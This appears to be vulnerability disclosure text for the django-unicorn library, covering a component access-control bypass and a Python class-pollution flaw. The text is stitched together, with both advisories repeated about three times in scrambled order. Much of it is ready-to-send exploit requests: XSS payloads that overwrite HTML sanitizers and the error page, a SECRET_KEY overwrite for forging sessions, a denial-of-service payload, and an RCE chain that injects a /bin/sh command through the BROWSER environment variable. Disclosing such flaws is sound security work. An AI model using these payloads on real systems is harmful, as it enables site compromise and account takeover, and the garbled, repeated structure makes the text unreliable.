
Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
